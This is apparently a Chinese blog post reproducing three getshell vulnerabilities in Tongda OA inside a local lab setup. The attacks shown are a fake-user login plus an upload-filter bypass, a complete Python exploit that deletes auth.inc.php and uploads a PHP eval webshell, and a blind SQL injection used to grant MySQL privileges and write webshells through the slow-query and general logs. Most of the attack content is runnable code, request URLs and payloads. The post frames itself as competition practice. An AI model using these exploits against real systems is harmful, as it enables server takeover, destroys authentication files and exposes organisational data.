通达oa getshell漏洞复现
一、实验环境
靶机环境
- win7
- 192.168.73.129
攻击机环境
- win10
- 192.168.73.1
二、漏洞复现
2.1任意用户登录、后台文件上传getshell(V11.X<V11.5/2017)
靶机下载通达 oa 2017 版本,使用默认服务配置
poc 下载地址 https://github.com/NS-Sp4ce/TongDaOA-Fake-User
python3 POC.py -v 2017 -url http://192.168.73.129/ 获得 PHPSESSID,前台 F12 替换为此 PHPSESSID,然后访问 /general/index.php 成功登录到管理员账户
后台点击系统管理->附件管理->添加存储目录(选择根目录)->添加
然后再点击组织->系统管理员->附件,如图所示
直接上传 shell.php 显示文件不存在,抓包改为 shell.php. 文件,文件名不符合 windows 命名规范,系统自动去掉最后的点号,放包后返回文件保存路径
冰蝎可以成功连接 http://192.168.73.129/im/2010/559350980.shell.php
2.2远程命令执行(V11.6)
默认服务配置安装环境,大佬的 exp 如下
import requests #填写ip target="http://192.168.73.129/" #一句话木马密码pass payload="<?php eval($_POST[\'pass\']);?>" print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA") input("Press enter to continue") print("[*]Deleting auth.inc.php....") #删除网站里的auth.inc.php文件 url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php" requests.get(url=url) print("[*]Checking if file deleted...") url=target+"/inc/auth.inc.php" page=requests.get(url=url).text if \'No input file specified.\' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1) print("[+]Successfully deleted auth.inc.php!") print("[*]Uploading payload...") url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./" files = {\'FILE1\': (\'deconf.php\', payload)} requests.post(url=url,files=files) url=target+"/_deconf.php" page=requests.get(url=url).text if \'No input file specified.\' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url) else: print("[-]Failed to upload file")
url 即为一句话木马位置,蚁剑成功连接
2.3后台sql注入getshell(V11.7)
默认服务配置安装环境,在通达应用服务控制中心开启 mysql 服务,默认端口是3336,此漏洞利用需要有账号密码在后台登录,/general/hr/manage/query/delete_cascade.php?condition_cascade 参数存在布尔盲注
http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=select%20if((1=1),1,power(9999,99))
http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=select%20if((1=2),1,power(9999,99))
添加账户 at666,密码 abcABC@123
http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO \'at666\'@\'%\' IDENTIFIED BY \'abcABC@123\' WITH GRANT OPTION
navicat 连接数据库,由于添加的账户不能直接通过慢查询日志写入文件,需要给创建的账户添加权限
UPDATE `mysql`.`user` SET `Password` = \'*DE0742FA79F6754E99FDB9C8D2911226A5A9051D\', `Select_priv` = \'Y\', `Insert_priv` = \'Y\', `Update_priv` = \'Y\', `Delete_priv` = \'Y\', `Create_priv` = \'Y\', `Drop_priv` = \'Y\', `Reload_priv` = \'Y\', `Shutdown_priv` = \'Y\', `Process_priv` = \'Y\', `File_priv` = \'Y\', `Grant_priv` = \'Y\', `References_priv` = \'Y\', `Index_priv` = \'Y\', `Alter_priv` = \'Y\', `Show_db_priv` = \'Y\', `Super_priv` = \'Y\', `Create_tmp_table_priv` = \'Y\', `Lock_tables_priv` = \'Y\', `Execute_priv` = \'Y\', `Repl_slave_priv` = \'Y\', `Repl_client_priv` = \'Y\', `Create_view_priv` = \'Y\', `Show_view_priv` = \'Y\', `Create_routine_priv` = \'Y\', `Alter_routine_priv` = \'Y\', `Create_user_priv` = \'Y\', `Event_priv` = \'Y\', `Trigger_priv` = \'Y\', `Create_tablespace_priv` = \'Y\', `ssl_type` = \'\', `ssl_cipher` = \'\', `x509_issuer` = \'\', `x509_subject` = \'\', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = \'mysql_native_password\', `authentication_string` = \'\', `password_expired` = \'Y\' WHERE `Host` = Cast(\'%\' AS Binary(1)) AND `User` = Cast(\'at666\' AS Binary(5));
在注入点刷新权限,当前用户没有刷新权限的权限
http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;
navicat 提示密码过期,需要再次执行
http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO \'at666\'@\'%\' IDENTIFIED BY \'abcABC@123\' WITH GRANT OPTION
写 shell 方式一
select @@basedir; set global slow_query_log=on; set global slow_query_log_file=\'C:/MYOA/webroot/test.php\'; select \'<?php eval($_POST[x]);?>\' or sleep(11);
写 shell 方式二
select @@basedir; set global general_log = on; set global general_log_file =\'C:/MYOA/webroot/test2.php\'; select \'<?php eval($_POST[y]);?>\'; show variables like \'%general%\';
三、总结
为了准备程序员节的比赛,还没有研究漏洞原理,只匆匆忙忙找了一些可以 getshell 的漏洞复现,如果有问题欢迎师傅们批评指正(李师傅、范师傅、刘师傅正在我旁边专心致志复习考研,这里悄悄留个彩蛋,做为咕噜灵波战队吃饭最积极的菜鸡希望三位师傅越来越圆hhh)
参考:
https://www.cnblogs.com/lovequitepcs/p/12864203.html
https://blog.csdn.net/weixin_44288604/article/details/108144165
https://www.cnblogs.com/yuzly/p/13690737.html